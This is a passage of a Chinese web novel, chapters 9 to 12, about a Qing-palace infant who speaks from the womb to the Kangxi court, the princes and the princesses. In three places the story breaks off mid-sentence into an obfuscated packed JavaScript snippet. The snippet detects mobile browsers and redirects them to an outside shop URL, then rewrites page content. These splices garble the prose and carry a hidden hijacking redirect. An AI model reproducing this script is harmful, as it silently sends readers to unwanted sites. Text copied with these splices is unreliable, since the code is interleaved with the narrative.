每处柳树下的落叶,似乎都沾着那宫独有的特质。 那时她总是一边扫,一边在心里默默想着:原来树也像人,落在哪里,便是哪里的命。 她安分守己,即便是一日跪在地上迎驾时被路过的康熙看中,带入乾清宫宠幸,也未做过非分之想。 成为贵人后,她又学着刺绣,想要多些才艺傍身,却又被陷害巫蛊之术,如今又触怒了贵妃。 “婉妹妹,你看看我给你带了什么。” 胤祺从太皇太后的屋子中跑出来,手里是一只大狸花猫。 这便是太皇太后养的猫了,又大又肥,胤祺抱着有些吃力。 苏嬷嬷在背后追着道:“小祖宗,你跑慢些。” 太后与太皇太后都住在慈宁宫,近些年太皇太后年纪大了,身体愈发虚弱,行动不便,冬日更是几乎不出门走动。 胤祺长得很有福相,性子也憨厚,皇太后与太皇太后都喜爱他,谁知这向来乖巧的孩子,今日却做出抢猫之举。 苏嬷嬷这才走到良贵人近前,借着请安的由头,细细瞧了一眼这位近来宫里的风云人物。 即便身怀龙裔,她身上也寻不着半分珠圆玉润的福态,人依旧像个细竹般,比之宫中常见的温婉型美人,多了一些凄楚感。 看上去并没有什么心机,或许是自己与太皇太后想多了。 9. 第 9 章 良贵人身子重,看见抱着猫跑来的胤祺,本就是一怔,没有反应过来。 等苏麻喇姑到她身边含笑颔首的来一句“贵人小主万福”,她更是刚刚扶着宫女的手站起来,惊慌失措不已,嘴上忙道:“嬷嬷真是折煞我了,您是太皇太后身边的得力之人,又是宫中老人,怎么可以给我一个小小贵人行礼。” 苏嬷嬷笑道:“小主严重了,老奴在宫中日子虽然待的久,却也知道尊卑主仆之分,您怀着龙裔,玉体为重,不必急着起来。” 良贵人道:“苏嬷嬷说的是。” 苏嬷嬷低头,看向胤祺调侃道:“你抱着狸猫出来就是为了找良贵人?她怀着身孕,你这般鲁莽,哈尔又这么重,若是冲撞了,岂不是会伤害到你心心念念的小妹妹。” 听到苏嬷嬷在唤自己的名字,哈尔也配合的“喵”了一声,这一声猫叫暗含着委屈,它甚至在蹬胤祺,想要从五阿哥的怀里逃脱,回到苏嬷嬷的怀抱。 毕竟平日里都是苏嬷嬷在照顾它,在它眼里,苏嬷嬷才是自己的主人。 胤祺抱猫的姿势也让哈尔感到不适,是看在主人的面子上,才没有跟小主人计较的。 胤祺吐了吐舌头,笑道:“我只是想要把哈尔抱给妹妹看,妹妹也喜欢猫猫的。” 【可惜我看不到呀,但是刚刚听到了那声猫叫,五哥哥你快些将猫放下,小心猫儿一会儿发脾气挠你。】 她现代家里也有一只猫,脾气不大好,她跟猫猫玩的时候,这猫就会挠她咬她,后来妈妈说猫这种动物脾气大,要顺着它哄。 婉菱怕这只叫做哈尔的猫伤害到五哥哥,又担忧又着急。 “妹妹有所不知,哈尔平日里最是温顺乖巧,怎会挠我呢?” 话音未落,那猫便不耐烦地一爪挥下,正落在他手背上。 “啊!”胤祺低呼一声,松了手。 哈尔趁机从他怀中跃出,不偏不倚撞在良贵人腿上,随即化作一道墨影,“嗖”地几下窜远,消失在血柳林深处。 苏嬷嬷眼疾手快扶稳良贵人,又蹙眉对胤祺道:“你这孩子,怎么这般冒失?” 可低头见他手背上已浮起几道鲜红的爪痕,眼中便漫上心疼,转身吩咐道:“来人,速去请太医来瞧瞧。” 【五哥哥,你怎么样了?是不是受伤了?要不要紧?】 胤祺虽然手背很痛,但是见妹妹这般关心他,便皱着小脸安慰道:“五哥哥不痛,这猫只是轻轻挠了五哥哥一下。刚刚五哥哥没有抱好猫,妹妹你没事吧?” 苏嬷嬷听不见婉菱的话,只看着五阿哥这般认真地对着良贵人的肚子说话,心中不由得一沉,升起个荒谬的猜想:这孩子……莫不是癔症了? 【没事的,虽然方才晃了晃,但我可坚强啦。可惜妹妹还不能从娘亲肚子里出来,不然定要给五哥哥呼呼。妈妈说,呼呼就不痛了。】 胤祺听了,竟也认真地点头,语气里带着稚气的惋惜:“好,那等妹妹出来了,再补上。对了,妈妈是谁啊?” 【妈妈就是娘亲,娘亲就是额娘,嘿嘿,怎么叫都可以。】 原来如此。 看来良贵人平日也时常跟妹妹聊天,那她也是这般给八弟呼呼的吗? 五阿哥挠了挠头,他以前倒是没有注意这些。 【五哥哥,下次它再生气,你就挠挠它的下巴,从上都下的摸它的后背,一定要轻柔些。】 胤祺笑道:“我知道了,妹妹你好聪明哦,连这些都懂。” 【那当然喽,我可是天下第一聪明。】 胤祺摇了摇头,认真道:“不对,皇阿玛才是天下第一聪明,太子哥哥第二,你最多能排老三。” 【嗯,好吧,真不明白,皇阿玛那么大的人,干嘛要跟小孩子争谁最聪明呢。】 胤祺挠了挠头,妹妹说的有道理哦。 太医很快提着药箱来了,哈尔挠的不严重,但苏嬷嬷还是让太医多给包扎了几层纱布。 太后在一旁“心肝儿肉”地唤着,太皇太后心里也疼得紧,面上却要先板起来:“胤祺,你可知错了?” 胤祺低头道:“老祖宗、皇祖母、苏嬷嬷,都是孙儿不好,孙儿不该来偷猫。” 太皇太后轻哼一声:“你平日瞧着是个稳重的,怎的这几日倒学起你九弟的顽皮来了?可见到底是一个娘胎里出来的,都随了宜妃那股子冲劲儿!” 胤祺忙将头垂得更低,羞愧不已:“是孙儿自己糊涂,不关额娘的事。” 这话音才落,外头便报宜妃到了。巧得很,还将九阿哥胤禟也一并带了来。 宜妃进屋一眼便瞧见胤祺那只包扎的似熊掌般的手,指尖猛地攥紧了帕子。她先稳着步子向两位长辈行了礼,转身便对胤祺道: “你这孩子,怎如此不知仔细!你自己受些疼倒是小事,若累得你皇祖母和老祖宗这般为你悬心,可如何是好?” 她说到这里声音微微发颤,终是化作一声低叹:“说到底……终归是我这个做额娘的没能做好表率,请老祖宗与太后恕罪。” 宜妃的一场精彩表现,反倒让太皇太后不好多说什么了,这个女人真是长着一张好嘴,难怪她受宠。 太后笑道:“说起教养,反倒要找我的不是了,老祖宗你们放心,回去后我一定好好打他屁股。” 屋内众人都笑了起来,气氛温馨。 屋外,听到了这笑声,良贵人的步子微微一顿。 【娘亲,你在这里来回走了好几圈了,我都快要被你绕迷糊了,你在做什么?】 良贵人道:“我想要进去看看五阿哥,只是太皇太后向来威严,我不敢进去。” 婉菱忍不住笑了起来,道:【娘亲,你胆子好小哦。】 良贵人叹息了一声道:“你是个孩子,不知道宫廷的规矩。” 她一个辛者库出身的宫女,一来没有见过世面,二来不像宜妃那般聪慧嘴甜。 再加上太皇太后说过,不必让这些嫔妃们来跟她请安,以免扰了自己的清净。 她在这里暂住,太后也说过不必去打扰太皇太后。 她贸然前去,若是惹恼了太皇太后,她必定会被陛下不喜,这短暂的恩宠也会泡汤。 她怎么敢进去呢。 婉菱嘟起了嘴,她确实是个孩子,但也是看过宫廷剧的呀,她妈妈特别迷恋清宫剧,还成天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228907|197605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纠结若是穿到清朝要跟哪个皇子谈恋爱呢。 结果她没有穿过来,倒是她的亲亲大宝贝穿来了。 唉,好想妈妈呀。 但是眼前还有个新妈妈需要她的帮助呢,不是伤心的时候。 婉菱道:【娘亲,我们进去吧,我也想要看看五哥哥怎么样了,放心吧,太皇太后一听见我的声音,就会喜欢上我了。】 皇阿玛和其他的哥哥们都是这样,太皇太后是皇阿玛的奶奶,也一定能听见她的声音。 良贵人觉得此言有理,便让宫女进去禀告了。 听说良贵人也在门外,太皇太后道:“她大着身子,来这里做什么?” 宜妃笑道:“听说良贵人怀了个福星,大概是想要过来让胤祺沾沾喜气,老祖宗快让她进来吧。” 太皇太后冷笑一声,道:“让她进来。” 九阿哥道:“五哥以前没遇到福星时也没有被猫挠,怎么遇到个福星妹妹,反倒出了事?” 众人心中原也犯着嘀咕,只是谁都没有说,而宜妃忙捂住九阿哥的嘴道:“童言无忌,童言无忌哈哈。” 刚刚走进门口的良贵人听到九阿哥的话,脸已经白了,咬了咬唇,还是走了进来。 五阿哥道:“是我自己不小心被猫挠了,九弟你不要怪别人。” 【九哥哥,不是我自称福星的,是那个萨满法师说的。】 九阿哥猛地回过头,眼睛瞪得溜圆,直直盯着良贵人的肚子,脱口叫道:“咦,你的肚子怎么会说话?!” 太后的眉头蹙得更紧了几分。 老五憨直些便罢了,怎么连素来机灵的胤禟也开始说起糊涂话来? 太皇太后眼底掠过一丝笑意,慢悠悠道:“胤禟啊,你这个皮猴子。是不是听说了你五哥闹的笑话,存心跑到这儿装神弄鬼,逗他玩儿呢?” 九阿哥张了张嘴,本要辩解,眼珠忽地一转,索性笑嘻嘻蹭到太皇太后身边挨着坐下:“什么都瞒不过老祖宗!孙儿这不也是想给老祖宗和皇太后逗个趣儿嘛。” 【九哥哥真的听不见我说话吗?不应该呀,呜,看来少了个解闷的。】 胤祺皱着一张小脸,想到九弟听不见妹妹的声音,心里便漫起一阵说不出的遗憾。 太皇太后瞧了一眼身侧的良贵人,温声道:“快坐着吧,身子重了,别总站着累着自己。” 良贵人受宠若惊,由宫人扶着在搬来的绣墩上小心落了座,颔首柔声道:“谢老祖宗体恤。” 太皇太后目光又在她隆起的腹上停留片刻,笑意宽和:“你也别多想、别怕。今日这事,不过是胤祺与猫儿玩闹间的巧合罢了。胤祺身子向来强壮,那点皮外伤,上了药,过两日便好全了。” 九阿哥胤禟在一旁点头应和:“就是!五哥那手看着唬人,其实也就是挠了几道红印子,我上次爬树被树枝划的都比这重呢!” 宜妃瞪了一眼九阿哥,这孩子早慧,她特意带着他来是想要趁机多得些太皇太后的怜惜,而不是让他帮腔为良贵人说好话的。 明明来之前,他还说定要为五哥讨个公道,结果一见到良贵人就叛变了,这小子,今日是抽了什么风? 10. 第 10 章 太皇太后瞪着他道:“你也不许再爬树了!” 太后笑道:“是啊,多危险啊,五阿哥就不爬树。” 胤禟吐了吐舌头,笑道:“五哥那是太沉了,上不去。” 胤祺羞红了脸,只听见婉菱那软糯的声音再次响起:【不要这么说五哥哥,猴子才喜欢爬树呢,五哥哥又不是猴子。】 “噗!” 太皇太后一口茶呛在喉间,竟失了仪态,尽数喷在了身侧苏麻喇姑的脸上。 苏麻喇姑愣住,一时忘了擦拭,只错愕地望向侍奉多年的主子。 太皇太后向来持重,今日这是怎么了? 太后见状,只当是老人家听了九阿哥那句童言无忌的浑话才失态,便伸手轻轻捏了捏九阿哥粉嫩的脸颊,语气半是嗔怪半是无奈: “再这般口无遮拦,赶明儿真该寻些浆糊来,把你这两片惹事的小嘴皮子给粘上。” “呜……痛!” 九阿哥捂着脸颊,瞪圆了眼睛,气鼓鼓地望向良贵人微微隆起的腹部,声音里满是不服:“怎么人人都只向着五哥哥!” 胤祺有些不好意思地走过来,对九阿哥道:“九弟,我给你呼呼,呼呼就不痛了。” 恰在此时,丫鬟捧着刚煎好的药碗小心翼翼步入暖阁。褐色的药汁热气蒸腾,苦涩的气味随之弥漫开来。 原本倚在炕沿的太皇太后一见那药碗,竟像孩童般倏地往里一滚,直躲到炕角,将自己缩进锦被堆里,只露出一双写满抗拒的眼睛:“拿走!我不喝!” 这般孩子气的举动实在可爱,暖阁内众人不禁莞尔,可笑意里又掺着几分心酸与无奈。 苏麻喇姑上前几步,软声劝道:“主子,良药苦口。您这几日腿疾发作,夜里疼得辗转难眠,不喝药怎能熬过去呢?这方子是最对症的。” 太后也温声附和:“苏嬷嬷说得是。” “喝了这许多日子也不见大好,尽是白受罪!”太皇太后索性将被子拉高半截,声音闷闷地传出来,语气却是斩钉截铁,“都别劝我,谁劝我跟谁急,要喝你们喝。” 一旁的宜妃看得暗自咋舌,早已听闻太皇太后年岁愈高,性子愈发如顽童般执拗,今日亲眼得见,方知传言不虚。她低垂眼帘,屏息坐直身子,自是半句也不敢多劝。 婉菱却不管这些,脆生生的话语径直在暖阁里响起:【生了病自然要乖乖喝药,更要听医生的话呀。老祖宗年纪最大,不是更应该做个榜样,听话一些吗?】 太皇太后张了张嘴,目光在良贵人小腹处一掠而过,最终只装作未曾听见那从腹中传出的童言,一时竟不知如何回应是好。 倒是一旁的五阿哥睁大了好奇的眼睛,凑近良贵人问道:“婉菱妹妹,你方才说的‘医生’,是什么呀?” 【医生呀,就是给我们看病、帮我们消除病痛的人。】婉菱的声音透着一股天真的认真,【老祖宗的膝盖疼,定是受了寒气。应该用热水好好浸泡,把双脚都放进去,再加些花瓣和牛奶,这样泡完,连脚丫都会变得香喷喷的呢。】 良贵人听女儿越说越离谱,心中不由一紧。 这孩子不通医理,却在这儿胡乱出主意,万一老祖宗真信了,出了差池可如何是好。 她忙扶着腰起身,面上带着恰到好处的倦色,温声道:“老祖宗、太后、宜妃姐姐,嫔妾身子有些乏了,想先行告退歇息片刻。” 太皇太后摆了摆手:“都下去罢,我也乏了。” 众人依礼退出暖阁。五阿哥随宜妃走到廊下,母子俩低声叙了几句体己话,他便转身,脚步轻快地朝着良贵人暂居的偏殿小跑而去。 胤禟眼巴巴望着五哥的背影,拽了拽宜妃的衣袖:“额娘,我也想留在慈宁宫住。” “你想得倒美。”宜妃指尖轻点他额头,语气带着惯常的嗔怪,心底却蔓开一丝说不清的滞闷——怎么瞧着,小五待那良贵人,倒比待她这个亲额娘还要亲近几分? 平日看着良贵人是个柔弱没有心机的,但好像事实并非如此,贵妃不就是被她算计的降了位份吗? 看来她还是要小心些,不能轻视了对手。 乾清宫内烛影摇曳,康熙盯着御案上堆积如山的奏折,眉心渐渐拧紧。 这些折子,言辞各异,笔迹不同,底下却涌动着同一种焦灼。 一本说贵妃“侍奉年久,育有皇子,骤降恐寒八旗之心”;另一本则劝谏“贵妃无显过不可轻贬,恐伤皇子体面,动摇朝局安稳” ……字字句句,看似忠良,实则都是为了自己的私利。 “何止钮祜禄一家在急,”康熙将手中奏折轻轻搁下,声音里透出一丝冰冷的讥诮,“佟佳氏、赫舍里氏、富察氏……哪一家不是仿佛火烧屁股,生怕这把火下一刻就烧到自家院墙?” 他靠在椅背上,目光扫过那些华美的绫绢封面,仿佛能透过纸背,看见一张张盘根错节的网。 “满清贵族,八旗子弟……”他低声自语,尾音落在寂静的殿宇里,“真是……团结得很啊。” 想起皇祖母时常提到的“大局为重”,康熙沉默片刻,指节在案上轻轻一叩:“传旨:钮祜禄氏复妃位,然禁足三月,闭门思过。” 梁九功领命而去,不多时却又匆匆折返,面上带着几分未散的讶异:“万岁爷,慈宁宫方才传话……太皇太后不仅肯服药了,还突然吩咐宫女备下热水花瓣,说要好好泡个澡。” 康熙眉心微舒,泡浴于老人家的腿疾确有温通之益,太医也早有所建议,只是她老人家倔强不肯。 毕竟她出身于草原马背上,而大草原向来崇尚自然之气,甚少进行花瓣浴等精细洗浴法子,再者说,太皇太后一向节俭…… 他旋即又泛起一丝疑虑:“她何以突然改了性子?今日谁去老祖宗暖阁了?” “今日前去慈宁宫请安的……”梁九功低头细数了一串名姓,话尾微微一顿,似想起什么紧要的,“五阿哥在暖阁里说起自己要泡澡,还要添牛奶与花瓣。老祖宗听了兴致盎然,也要试试。五阿哥说……这法子是打他妹妹那儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228908|197605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学来的。” 康熙闻言,眼底那点深思忽地化开,漾成一抹真切的笑纹,摇头轻叹: “这个老五啊。” 语气里半是无奈,半是宠溺,这未出世的女儿,倒也是个有趣的。 【五哥哥,你在做什么呀?】 庭院里,五阿哥正蹲在墙角,小手握着一柄比他手掌大不了多少的花铲,一下、一下,极认真地刨着土。 细碎的泥点溅上他的袖口,额间也渗出薄汗,他却浑然不觉。 “我在种怀牛膝。”他抬起脸,眼睛亮晶晶的,像在分享一个了不起的秘密,但是担心妹妹听不到,便大声道,“太医说,这种药能治老祖宗的腰腿疼……只是宫里存量少,或许是因为运来的路程太远,等到了京城,都是快要失效的劣等货色。我便想着,若是自己能种出来,往后老祖宗需要时,就随时都有了。” 他说着,又将一粒小小的褐色种子小心翼翼地放入土坑,再用指尖轻轻覆上细土,动作轻柔得像在安放什么珍宝。 【哇!】 那声音软软地漾开,带着毫不掩饰的钦佩。 【五哥哥想得真长远,真厉害!老祖宗知道了,心里不知该多暖呢。】 五阿哥被夸得有些不好意思,耳尖微微发红,却抿着嘴笑了。他正要继续埋土,忽又想起什么,转头望向虚空。仿佛那里真有个小妹妹在眼巴巴瞧着似的,语气格外认真: “这事……你可先别告诉老祖宗。等我真的种成了,开了花、结了籽,再给她一个惊喜,好不好?” 【我在额娘肚子里,要怎么告诉老祖宗啊?】 五阿哥这才反应过来,吃吃地笑道:“你说的也是哦。” “她不能说,我们可是长了腿的呀!嘿嘿,五哥,我这就去说给老祖宗听。” 九阿哥的小脑袋从门边倏地探出,话音未落,人已像尾滑溜的鱼儿般往外窜了两步。 可还没跑开,后衣领便被一只纤细却力道十足的手稳稳攥住,整个人倒着后退了好几步,像只被拎住了后颈皮的小猫崽。 “九弟,不许去。” 四公主道。 胤禟手脚并用地扑腾:“哎、哎!四姐你放开我!这事儿还是我透给你的呢!” 四公主唇角微微一勾,非但没松手,反而将他扯得更紧了些,让他蹬腿的动作显得更徒劳。 “若没我领路,你连东南西北都摸不清,怎么可能找到这来?”她声音清凌凌的,像玉片轻碰,“咱们这顶多算是互帮互助,对不对?” 九阿哥说不过四公主,腮帮子鼓得像塞了两颗核桃,鼻翼翕动着直喘粗气,却硬是憋着一声没再吭。 胤祺拍了拍手上的泥土站起身来,目光在两人之间打了个转:“四姐姐,九弟,你们来慈宁宫……是找我玩的吗?” “自然不是。”四公主松了拎着胤禟后领的手,视线却已若有所思地落向良贵人隆起的腹部,“我是听说,这儿有位还没出世就会说话的‘妹妹’,心下好奇,特来瞧瞧。” 11. 第 11 章 良贵人闻言,下意识抬手轻覆在小腹上,眼帘微垂。侍立在她身侧的两名丫鬟却神色如常,低眉顺目,俨然早已对此习以为常。 五阿哥恍然地点了点头,笑道:“原来如此。” 这时,一道软糯的声音,恰到好处地响起: 【四姐姐好!光听声音,就知道四姐姐一定生得极好看。】 话音微顿,又转向那犹自气鼓鼓的男孩: 【九哥哥,你千万、千万莫要把五哥哥种药草的秘密说出去呀。】 胤禟梗着脖子,那股不服输的劲头又冲了上来:“凭什么不能说了?种药草不是好事嘛!让老祖宗提前高兴高兴。” 额娘常说,做一件好事,成功与否并不重要,重要的是要告诉对方,让人家知道你的心意。 四公主双手环抱胸前,眸光淡淡扫过去,虽未言语,却自有一股无形的压力。 胤禟缩了缩脖子,又噤了声。 【因为……】婉菱的声音细细软软地接上,【因为五哥哥想亲自给老祖宗一个惊喜呀。他想让我们帮忙守着这个秘密,我们怎么能不尊重他的想法呢?】 四公主闻言,一时没忍住,“噗嗤”一声笑了出来。她还以为这未出世的小丫头能说出什么了不得的道理,原来竟是这般孩子气的“尊重”。 【四姐姐,你笑什么呢?】那声音里透出几分不解的懵懂。 “我笑呀,”四公主收了笑意,神色却认真起来,目光转向墙下的泥土,“我不让胤禟去说,是因为有些药草天生就长在南边温暖的水土里,咱们北方的地气寒冷,就算种下去,也多半长不成它该有的药性。” 胤祺眉头轻轻蹙起:“为什么呀?不都是泥土,浇了水,晒了太阳就可以长高高么?” 四公主一副“你没救了”的神情:“笨,这就叫‘一方水土养一方人’。哦不,养一方草。这话可是大姐姐亲口说的,她说的话,还能有错?” 【四姐姐记性真好!】婉菱的声音里透着纯粹的赞叹,【大姐姐真聪明,要我说呀,她是天下第三聪明的人!】 “哦?”四公主眉梢微挑,来了兴致,“那第一和第二,又是谁?” 【五哥哥告诉我的。】那声音自豪而认真,【他说,皇阿玛是天底下最最聪明的人,太子哥哥排第二。】 四公主闻言,唇角轻轻一弯,点了点头。 这里的大公主,便是康熙的养女,虚岁15,实岁14,如今是宫里最大的孩子。 婉菱的声音里带上一丝期盼:【四姐姐,大姐姐什么时候能来看看我呢?】 四公主含笑道:“你想见她?” 【嗯!】那声音立刻雀跃起来,掰着手指数一般细数,【不只见大姐姐,还有二姐姐、三姐姐、太子哥哥、三哥哥、六哥哥……好多好多的哥哥姐姐。从前在家里时,就我一个,孤零零的,只能跟邻居家的孩子玩。到了这儿才知道,原来可以有这么多兄弟姐妹。】 四公主皱起眉头,这说的都是什么?“以前的家”是什么? 婉菱说着,语气里又掺进惋惜:【可惜哥哥们总是很忙,要上学,要做功课。连八哥那个年龄的人,也成天被嬷嬷催着念书,说是‘开蒙’……我瞧着,竟比我从前上幼儿园那会儿还要累呢。】 四公主静默片刻,还在思索“幼儿园”是什么意思,她向来以记忆力强为自豪,今日却犯了难,怎么妹妹还知道这么多她没有听说过的话呢? 庭前的风拂过她颊边的碎发,她还没有来得及问,胤祺却已经问道:“妹妹,什么是幼儿园呀?” 【幼儿园呀……】 她停顿一下,似乎在努力组织语言,然后声音轻快地说: 【嗯……就像是一个特别大的、彩色的院子!里面有秋千、滑梯和木马。每天早晨,会有一个温柔而漂亮姐姐在门口等着,她不像宫里的嬷嬷说话声音那般难听,她唱起歌来就像是个黄鹂鸟一般,我们称呼她为‘老师’。】 【在那里,大家一起用彩色的泥巴捏房子、小兔子,用木块搭好看的塔,听老师讲仙女和公主的故事。午睡时,每个人乖巧地趴在桌子上。】 【对了!到了下午,所有孩子都手拉手转圈唱歌,一起吃水果和小蛋糕,我最爱唱挖挖挖,最喜欢吃草莓味道的小蛋糕。】 五阿哥呆愣住了,好多词语都是他未曾听过的,一时之间不知道该问什么,只是不由得心中赞叹道:“妹妹好厉害!” 四公主与九阿哥同样如此。 “今日天色已晚,”四公主许诺道,“等过几日得了空,我便带大姐姐来见你。” * 四公主虽已再三叮嘱九阿哥不得将胤祺种药材之事外传,可九阿哥转头逢人便要提上一嘴。不出几日,宫里便传得沸沸扬扬,甚至有人特地跑到慈宁宫附近张望。 宜妃得知后,倚在炕上慢条斯理剥了个橘子,拈起一瓣递到胤禟口中,含笑道:“你这机灵劲儿倒真随了我。你五哥也是,尽孝心还藏着掖着;四丫头更不像话,只许她自己出风头,倒不让我儿子在长辈面前表表心意了?” 得了宜妃这番夸赞,胤禟散布消息的劲头愈发足了。他本就课业轻松,每日一睁眼,便乐此不疲地把这事当作谈资。 至于婉菱会说话的事,他也一并说给了宜妃听。宜妃联想起皇上、太皇太后等人近来的异常态度,心下一动,赶忙嘱咐九阿哥切莫再对外提起此事。 这件事九阿哥本就觉得有些古怪,于是便真没再往外提。 太医院的刘太医平日负责验收药材。他深知怀牛膝本不缺上等品,只因内务府的高公公私下使了些手段,才让宫里贵人们只能用一些次等货。 这日,刘太医在宫道上听人议论起五阿哥种药的事,又亲眼瞧见五阿哥正兴致勃勃地给那几个坑浇水,心头不由一紧,转身便寻了给太皇太后诊脉的张太医说话。 张太医听罢只笑道:“五阿哥前些日子的确问我要过几颗怀牛膝种子,说是想试着种一种,我便随手给了他几颗。孩子嘛,见着什么新鲜都想玩玩, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228909|197605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只要不往嘴里送,便随他去吧。” 刘太医闻言急得跺了跺脚,低声道:“张兄好糊涂!万一那孩子真把种子当糖果吃了下去,引起腹痛恶心,这罪过岂非要算在咱们太医院头上?你我有几颗脑袋担得起这样的差错?” 张太医不以为意道:“不至于罢?那种子的口味又不是甜的,我听说他只是将其种进土里罢了。若真当糖果吃了,早该出事了。” 刘太医被他堵得一时语塞,转身便往内务府寻高公公。 高公公听了却只摇头轻笑:“刘太医多虑了,小孩子摆弄些泥土草木能闹出什么事来?您可是太医,难道不知怀牛膝极难种植?就算真让他种出几株,药性不佳,太皇太后那边也断不会用的。” 刘太医仍忧心忡忡:“老夫只是担心……万一此事被人深究,你我的性命岂不都要‘咔嚓’一声……” 他说着,抬手在颈边轻轻一比。 他父亲本就是宫里的御医,只是家底清寒,偏他又素来大手大脚惯了,这才收了高公公递来的好处,如今真是后怕不已。 高公公抿了一口茶,翘起腿眯着眸子悠悠笑道:“刘太医多虑了,这事儿都运作几十年了,从未出过岔子,哪能说查就查出来?那些皇子凤孙、太皇太后之尊,个个衣来伸手,怕是连河南都没踏进一步,太行山长什么样都没见过,又怎会瞧得出这里头的门道?” 这番话让刘太医心头稍定,自己也觉得先前太过风声鹤唳。 过了几日,四公主领着三位姐姐一同来到慈宁宫。 “孙儿们来给老祖宗请安了,老祖宗可别嫌我们闹腾呀!” 二公主眨了眨眼,笑语清脆。 苏麻喇姑笑应道:“二公主又顽皮了。老祖宗时常惦记公主与阿哥们,怎么会嫌弃?” 太皇太后在炕上斜倚着,年纪大了,耳力却仍旧不错:“快让几个丫头进来。我这儿刚得了些洋人进贡的糖果和香水,正好给你们分分。” 公主们依次进入,苏麻喇姑利落地捧出几只锦盒并琉璃瓶。 太皇太后指着笑道:“这些香水瞧着花花绿绿的,什么颜色都有。我年轻时也爱用些脂粉香气,只是如今上了年岁,早不碰这些了,你们拿去玩吧。” 大公主端庄地坐在太皇太后下首,接过苏麻喇姑递来的一瓶香水,指尖轻抚瓶身花纹,含笑谢道:“老祖宗向来最疼我们,有什么好物件都惦记着我们姐妹。” 二公主眼波一转,打趣道:“前几日老祖宗不还洗花瓣澡么?今儿倒说起年纪大了,不爱这些啦?” 四公主歪头笑道:“那是被五弟影响的,二姐姐怎么会不知?” 太皇太后笑道:“好好好,我刚想要解释,四丫头就把话说出来了,反倒让二丫头臊一臊。” 二公主对她撅了撅嘴,步履轻快上前,挑选了一个粉色的香水瓶,开盖轻嗅,笑道:“这里面含有玫瑰、茉莉、柑橘……甜蜜中透着几分清雅,倒是很适合我的,各位姐妹,我选择这瓶了,可不能跟我抢。” 12. 第 12 章 大公主抿嘴笑道:“好好,不跟你抢,妹妹们先挑便是。我用什么都使得。” 四公主拿起一瓶香水,对着光瞧了瞧。 “我年纪还小,用不上这些。可这样好的东西若是久放着不用,岂不糟蹋了?”她转向太皇太后,眼波清亮,“老祖宗,我能不能带回去给我额娘用?” 太皇太后眼底笑意更深:“这般孝顺的孩子,我怎会不依你?” 三公主却始终安静地坐在最角落处,宛若一尊温柔的玉雕,几乎不发出声响。 屋内的热闹仿佛与她隔着一层无形的纱,她融不进去,旁人似乎也未察觉她的存在。 只是无人留意时,她的目光悄悄落在那盒西洋糖果上,睫毛微颤,带着一分小心翼翼的向往。 太皇太后给每位公主分了一盒糖果并一瓶香水后,便让她们去给太后请安。 几位公主命下人先将东西送回各自住处,转身又往太后宫中去。到了才知太后正在午睡,而偏殿里良贵人却刚醒不久,五阿哥也恰在屋内。 四公主一见便指着他笑道:“怎么我每次来,你都在良贵人这儿?” 五阿哥红了耳根,起身应道:“我来陪陪妹妹,怕她一个人闷得慌。” 【四姐姐来了?欢迎欢迎。】 “可不只我一人呢,”四公主眼波流转,笑盈盈道,“你猜猜,我还带了谁来?” 婉菱的声音显得更雀跃了:【我记得的!你还说要带大姐姐一起来。】 大公主闻言莞尔,柔声道:“四妹先前同我说,有位在娘胎里便会说话的妹妹,我还将信将疑。如今亲眼见了,方知四妹从不妄言,造物之奇,当真令人叹服。” 二公主已好奇地凑近良贵人,双手举到胸前笑吟吟道:“良贵人,我……可以轻轻贴着肚皮听一听吗?” 四公主笑道:“二姐姐,这怕是不合规矩……” “四妹!”二公主走过去抓住她的麻花小辫子,警告道,“你可不要惹恼了我,我可不是软性子的三妹。” 无端被提到的三公主闻言一怔,又向后缩了缩。 四公主忙双手合十,颊边鼓起,作出一副可怜模样:“好姐姐,是我说错话了,饶我这一回罢。” 胤祺见状也上前来,轻声劝解道:“二姐姐莫恼,四姐姐素来心直口快,并无恶意的。” 二公主乃荣妃之女、三阿哥胤祉的亲姐姐,自幼便得康熙偏爱,性子难免娇纵几分。 而大公主之所以得宠,却因一份“锦鲤”般的福缘。 毕竟在此之前宫里出生了五个孩子都未活下来,在她被领养后,大阿哥与太子平安康健地出生且成长起来,宫中皆暗传她带来了祥瑞,是她有福气,命中有兄弟姐妹缘。 故而大家都很尊重大公主,大阿哥与太子等弟弟妹妹还被教育着要感激大公主。 此刻,还是大公主发话:“算了二妹,要闹回去玩闹,我们这次来是探望小妹妹的。” 大公主一开口,二公主便松了手。 良贵人温和笑道:“二公主若想听,不妨过来些。” 二公主刚将耳朵轻轻贴近,婉菱便也在里面挪着小脸往那处凑,软声道:【二姐姐,你的声音真好听。】 